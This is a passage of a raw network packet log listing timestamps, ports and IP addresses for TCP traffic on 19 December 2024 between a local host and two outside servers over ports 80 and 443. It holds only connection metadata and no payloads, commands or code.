Dec 19, 2024 20:11:42.059597969 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.059719086 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.060307980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.060586929 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.060657024 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.061530113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.061729908 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.061763048 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.062077999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.062526941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.062644958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.062798977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.063710928 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.063869953 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.064198971 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.064378977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.064776897 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.065155983 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.065244913 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.065965891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.066071033 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.066131115 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.066194057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.067033052 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.067125082 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.067219973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.067327976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.068145990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.068253040 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.068289995 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.069427013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.069521904 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.069571018 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.070039034 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.070395947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.070506096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.070656061 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.070746899 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.071527004 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.071927071 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.072525978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.072695017 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.072707891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.072735071 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.072787046 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.073802948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.073945999 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.073978901 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.074207067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.074888945 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.075067043 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.075113058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.075500011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.076050997 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.076260090 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.076309919 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.076420069 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.077198029 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.077886105 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.078109980 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.078316927 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.078480959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.078726053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.078890085 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.079480886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.079654932 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.079982042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.080389977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.080553055 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.080786943 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.080790043 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.080919027 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.081633091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.081792116 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.082278013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.082495928 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.082755089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.082921982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.082957983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.083298922 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.083910942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.084074974 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.084141016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.085053921 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.085088968 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.085241079 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.085242033 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.085669041 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.086216927 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.086327076 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.086455107 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.086652994 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.087260008 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.087577105 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.087613106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.088041067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.088409901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.088525057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.088656902 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.089570045 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.089668036 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.089673996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.089751959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.090662003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.090795994 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.090944052 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.091485977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.091754913 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.091963053 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.092890978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.092897892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.093055964 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.093069077 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.093203068 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.094022036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.094252110 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.094750881 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.095352888 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.095391035 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.096160889 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.096295118 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.096302986 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.096322060 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.096400023 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.097381115 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.097641945 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.097712994 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.097857952 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.098489046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.098781109 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.098803997 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.099229097 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.099637032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.099736929 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.099772930 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.100684881 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.100781918 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.100907087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.101039886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.101284981 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.101919889 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.101927042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.102412939 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.103193045 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.103319883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.103329897 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.103415966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.104118109 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.104221106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.104254961 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.104363918 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.105235100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.105463982 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.106008053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.106192112 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.106431961 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.106540918 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.106658936 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.107525110 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.107697964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.108103991 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.108628988 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.108772039 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.109132051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.109313011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.109800100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.109807014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.110023022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.110891104 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.111119032 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.115048885 CET	443	49858	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:42.115365028 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:42.120515108 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:42.120523930 CET	443	49858	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:42.120742083 CET	443	49858	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:42.122936964 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:42.122937918 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:42.122963905 CET	443	49858	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:42.124731064 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:42.124782085 CET	443	49858	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:42.128719091 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:42.128762007 CET	443	49858	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:42.129993916 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:42.130012035 CET	443	49858	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:42.132811069 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:42.132848024 CET	443	49858	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:42.133011103 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:42.133039951 CET	443	49858	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:42.133048058 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:42.133063078 CET	443	49858	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:42.133322001 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:42.133352041 CET	443	49858	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:42.133372068 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:42.133529902 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:42.133573055 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:42.179327011 CET	443	49858	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:42.180721045 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:42.180753946 CET	443	49858	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:42.180772066 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:42.180792093 CET	443	49858	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:42.180809021 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:42.180819988 CET	443	49858	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:42.184644938 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:42.184652090 CET	443	49858	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:42.293072939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.293083906 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.293170929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.392909050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.392962933 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.393196106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.412507057 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.412614107 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.512659073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.512669086 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.512674093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.512686014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.512859106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.512999058 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.513005018 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.513081074 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.513751030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.513758898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.513834000 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.514535904 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.514543056 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.514614105 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.515301943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.515309095 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.515321016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.515585899 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.516009092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.516017914 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.516028881 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.516035080 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.516165972 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.516858101 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.516880035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.516892910 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.516942978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.517729998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.517735958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.517745972 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.517874002 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.518379927 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.518388987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.518449068 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.518455982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.518475056 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.518537998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.519095898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.519117117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.519128084 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.519175053 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.519803047 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.519810915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.519838095 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.519917011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.520562887 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.520570993 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.520576954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.520582914 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.520639896 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.520639896 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.521249056 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.521328926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.521493912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.521543980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.521550894 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.521581888 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.521604061 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.522263050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.522308111 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.522315979 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.522347927 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.522488117 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.523010969 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.523055077 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.523061037 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.523066044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.523127079 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.523127079 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.523827076 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.523833990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.523844957 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.523921967 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.524522066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.524568081 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.524600983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.524602890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.524646044 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.524722099 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.525362015 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.525369883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.525382996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.525391102 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.525424957 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.525471926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.526125908 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.526134014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.526139975 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.526213884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.526839018 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.526846886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.526858091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.527019978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.528327942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.528335094 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.528347015 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.528435946 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.529130936 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.529139996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.529151917 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.529159069 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.529237986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.529874086 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.529881001 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.529887915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.529961109 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.530579090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.530597925 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.530610085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.530859947 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.531352997 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.531361103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.531372070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.531378984 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.531464100 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.532207012 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.532215118 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.532227039 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.532310009 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.532872915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.532881975 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.532891989 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.532960892 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.533628941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.533636093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.533641100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.533648014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.533879042 CET	49842	80	192.168.2.4	31.41.244.11
